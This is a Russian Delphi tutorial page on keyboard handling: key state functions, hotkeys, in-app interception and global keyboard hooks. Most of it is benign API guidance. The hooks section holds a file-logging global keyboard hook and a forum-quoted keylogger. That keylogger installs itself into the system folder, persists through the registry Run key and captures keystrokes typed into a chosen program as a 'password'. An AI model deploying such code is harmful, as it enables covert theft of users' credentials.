Работа с клавиатурой Работа с клавиатурой
Как узнать текущее состояние клавиши (нажата/отпущена) |
*
| *
|
| |
Узнать текущее состояние любой клавиши очень просто при помощи API - вызов
функции GetKeyState. Формат вызова:
function GetKeyState(nVirtKey: Integer): SHORT;
nVirtKey - виртуальный код интересующей нас клавиши.
Возврат - если установлен старший бит, то клавиша нажата. Младший бит
устанавливается при отпускании клавиши. Для триггерных клавиш младний бит
указывает, включена ли данная триггерная клавиша (т.е. горит ли ее лампочка)
Пример
procedure TForm1.Timer1Timer(Sender: TObject);
begin
Caption := Inttostr(GetKeyState(VK_NUMLOCK));
end;
Особенностью GetKeyState является то, что состояние клавиши, возвращаемое
этой функцией, изменяется при чтении потоком клавиатурных сообщений
из его очереди сообщений. Функция GetAsyncKeyState не зависит от потока
сообщений, что в ряде случаев весьма удобно.
Горячие клавиши - регистрация и обработка |
*
| *
|
| |
Горячие клавиши - сочетания клавиш, которые регистрируются в системе и при их
нажатии система посылает сообщение WM_HOTKEY тому окну, Handle которого было
заявлено при регистрации горячей клавиши. При этом не важно, имеет ли окно-
получатель фокус ввода и видимо ли оно на экране. Это особенно удобно при
написании программ,которые активизируются при нажатии
определенных сочетаний клавиш (в неактивном состоянии такие приложения,
как привило, не содержат видимых окон).
Регистрация производится при помощи вызова API RegisterHotKey
function RegisterHotKey(hWnd: HWND; id: Integer; fsModifiers, vk: UINT): BOOL;
hWnd - Handle окна, которое будет получать сообщения при нажатии горячей клавиши
id - идентификатор (просто число, передаваемое в сообщении WM_HOTKEY. id позволяет
приложению работать с несколькими горячими клавишами, различая их по id). Нельзя
определить две горячие клавиши с одинаковым id
fsModifiers - модификаторы. Определяют, какие клавиши должны быть нажаты совместно с
указанной vk. Допустимы значения: MOD_ALT - ALT, MOD_CONTROL - CTRL, MOD_SHIFT - SHIFT
vk - виртуальный код клавиши
Если горячую клавишу удается зарегистрировать, то функция возвращает TRUE.
При завершении приложения необходимо отменить регистрацию горячей клавиши при
помощи вызова UnregisterHotKey. При вызве ей передается Handle окна и id горячей
клавиши.
Пример:
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
// Обработчик сообщения WM_HOTKEY
procedure WMHotKey(var Mess:TWMHotKey);message WM_HOTKEY;
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.WMHotKey(var Mess: TWMHotKey);
begin
MessageBeep(0);
ShowMessage('Нажата горячая клавиша CTRL+F12');
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
RegisterHotKey(Handle, 1 ,MOD_CONTROL, vk_F12);
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
UnregisterHotKey(Handle, 1);
end;
Перехват нажатий клавиши внутри приложения. |
*
| *
|
| |
Задача решается очень просто. Можно у формы установить свойство KeyPreview в
True и обрабатывать событие OnKeyPress. Второй способ - перехватывать событие
OnMessage для объекта Application. Однако во втором случае следует применять
осторожность, т.к. обработчик OnMessage получает все сообщения, адресованные
приложению
Перехват нажатия клавиши в Windows (hook) |
*
| *
|
| |
Существуют приложения, которым необходимо перехватывать все нажатия клавиш в
Windows, даже если в данный момент активно другое приложение. Это может быть,
например, программа, переключающая раскладку клавиатуры, резидентный словарь
или программа, выполняющая иные действия по нажатию "горячей" комбинации
клавиш.
Перехват всех событий в Windows (в том числе и событий от клавиатуры) выполняется
с помощью вызова функции SetWindowsHook(). Данная функция регистрирует в системе
Windows ловушку (hook) для определенного типа событий/сообщений. Ловушка - это
пользовательская процедура, которая будет обрабатывать указанное событие. Основное
здесь то, что эта процедура должна всегда присутствовать в памяти Windows. Поэтому
ловушку помещают в DLL и загружают эту DLL из программы. Пока хоть одна программа
использует DLL, та не может быть выгружена из памяти. Приведем пример такой DLL
и программы, ее использующей. В примере ловушка перехватывает нажатие клавиш на
клавиатуре и записывает их в текстовый файл
// текст библиотеки, т.е. полное содержимое файла KeyHook.dpr
library KeyHook;
uses
shellapi,
windows;
var
g_hhk: HHOOK;
function KeyboardProc(nCode: Integer; wParam: wParam; lParam: lParam ): LParam; stdcall;
var
f:textfile;
begin
MessageBeep(0);
assignfile(f, 'c:\hook.txt');
try
append(f);
except
rewrite(f);
end;
writeln(f, nCode,',',wParam,',',lParam);
close(f);
end;
exports
KeyboardProc;
begin
end.
// Пример установки WindowsHook
procedure TForm1.Button1Click(Sender: TObject);
var
hinstDLL: HINST;
hkprcKeyboard: TFNHookProc;
msg: TMsg;
begin
hinstDLL := LoadLibrary('KeyHook.dll');
hkprcKeyboard := GetProcAddress(hinstDLL, 'KeyboardProc');
SetWindowsHookEx(WH_KEYBOARD, hkprcKeyboard, hinstDLL, 0);
end;
end.
Данный пример простейший и не учитывает того, что при завершении работы ловушку
необходимо снимать. При работе он пикает при каждом нажатии клавиши и сбрасывает
в текстовый файл параметры вызова. Пример рабочий, я использовал его для определения
кодов клавиш при написании драйвера для мультимедийной клавиатуры Genius (родной
кстати тоже писан на Delphi, но кривой до безобразия - то сам повиснет, но компьютер
повесит).
Как отловить нажатия клавиш для всех процессов в системе? |
*
| *
|
| |
Вот, может поможет:
>1. Setup.bat
=== Cut ===
@echo off
copy HookAgnt.dll %windir%\system
copy kbdhook.exe %windir%\system
start HookAgnt.reg
=== Cut ===
>2.HookAgnt.reg
=== Cut ===
REGEDIT4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"kbdhook"="kbdhook.exe"
=== Cut ===
>3.KbdHook.dpr
=== Cut ===
program cwbhook;
uses Windows, Dialogs;
var
hinstDLL: HINST;
hkprcKeyboard: TFNHookProc;
msg: TMsg;
begin
hinstDLL := LoadLibrary('HookAgnt.dll');
hkprcKeyboard := GetProcAddress(hinstDLL, 'KeyboardProc');
SetWindowsHookEx(WH_KEYBOARD, hkprcKeyboard, hinstDLL, 0);
repeat until not GetMessage(msg, 0, 0, 0);
end.
=== Cut ===
>4.HookAgnt.dpr
=== Cut ===
library HookAgent;
uses Windows, KeyboardHook in 'KeyboardHook.pas';
exports KeyboardProc;
var
hFileMappingObject: THandle;
fInit: Boolean;
procedure DLLMain(Reason: Integer);
begin
if Reason = DLL_PROCESS_DETACH then begin
UnmapViewOfFile(lpvMem);
CloseHandle(hFileMappingObject);
end;
end;
begin
DLLProc := @DLLMain;
hFileMappingObject := CreateFileMapping(
THandle($FFFFFFFF), // use paging file
nil, // no security attributes
PAGE_READWRITE, // read/write access
0, // size: high 32 bits
4096, // size: low 32 bits
'HookAgentShareMem' // name of map object
);
if hFileMappingObject = INVALID_HANDLE_VALUE then begin
ExitCode := 1;
Exit;
end;
fInit := GetLastError() <> ERROR_ALREADY_EXISTS;
lpvMem := MapViewOfFile(
hFileMappingObject, // object to map view of
FILE_MAP_WRITE, // read/write access
0, // high offset: map from
0, // low offset: beginning
0); // default: map entire file
if lpvMem = nil then begin
CloseHandle(hFileMappingObject);
ExitCode := 1;
Exit;
end;
if fInit then FillChar(lpvMem, PASSWORDSIZE, #0);
end.
=== Cut ===
>5.KeyboardHook.pas
=== Cut ===
unit KeyboardHook;
interface
uses Windows;
const PASSWORDSIZE = 16;
var
g_hhk: HHOOK;
g_szKeyword: array[0..PASSWORDSIZE-1] of char;
lpvMem: Pointer;
function KeyboardProc(nCode: Integer; wParam: WPARAM; lParam: LPARAM ): LRESULT; stdcall;
implementation
uses SysUtils, Dialogs;
function KeyboardProc(nCode: Integer; wParam: WPARAM; lParam: LPARAM ): LRESULT;
var
szModuleFileName: array[0..MAX_PATH-1] of Char;
szKeyName: array[0..16] of Char;
lpszPassword: PChar;
begin
lpszPassword := PChar(lpvMem);
if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP) = 0) then begin
GetKeyNameText(lParam, szKeyName, sizeof(szKeyName));
if StrLen(g_szKeyword) + StrLen(szKeyName) >= PASSWORDSIZE then
lstrcpy(g_szKeyword, g_szKeyword + StrLen(szKeyName));
lstrcat(g_szKeyword, szKeyName);
GetModuleFileName(0, szModuleFileName, sizeof(szModuleFileName));
> if (StrPos(StrUpper(szModuleFileName),'__ТО_ЧЕГО_НАДО__') <> nil) and
(strlen(lpszPassword) + strlen(szKeyName) < PASSWORDSIZE) then
lstrcat(lpszPassword, szKeyName);
if StrPos(StrUpper(g_szKeyword), 'GOLDENEYE') <> nil then
begin
ShowMessage(lpszPassword);
g_szKeyword[0] := #0;
end;
Result := 0;
end
else Result := CallNextHookEx(g_hhk, nCode, wParam, lParam);
end;
end.
=== Cut ===
Информация о состоянии клавиатуры |
*
| *
|
| |
О состоянии клавиатуры дают информацию следующие функции:
GetKeyState, GetAsyncKeyState, GetKeyboardState.
Чтобы упростить себе жизнь и не возиться с этими
функциями снова и снова я написал маленькие
функции:
function AltKeyDown : boolean;
begin
result:=(Word(GetKeyState(VK_MENU)) and $8000)<>0;
end;
function CtrlKeyDown : boolean;
begin
result:=(Word(GetKeyState(VK_CONTROL)) and $8000)<>0;
end;
function ShiftKeyDown : boolean;
begin
result:=(Word(GetKeyState(VK_SHIFT)) and $8000)<>0;
end;
А заодно и для клавиш переключателей:
function CapsLock : boolean;
begin
result:=(GetKeyState(VK_CAPITAL) and 1)<>0;
end;
function InsertOn : boolean;
begin
result:=(GetKeyState(VK_INSERT) and 1)<>0;
end;
function NumLock : boolean;
begin
result:=(GetKeyState(VK_NUMLOCK) and 1)<>0;
end;
function ScrollLock : boolean;
begin
result:=(GetKeyState(VK_SCROLL) and 1)<>0;
end;
© Зайцев Олег, "Программирование на Delphi - обмен опытом" 1999-2004. При использовании любых материалов данного сайта
необходимо указывать источник информации. Дата обновления: 22.11.2004. Сайт размещен на хостинге AGAVA - Хостинг от AGAVA.ru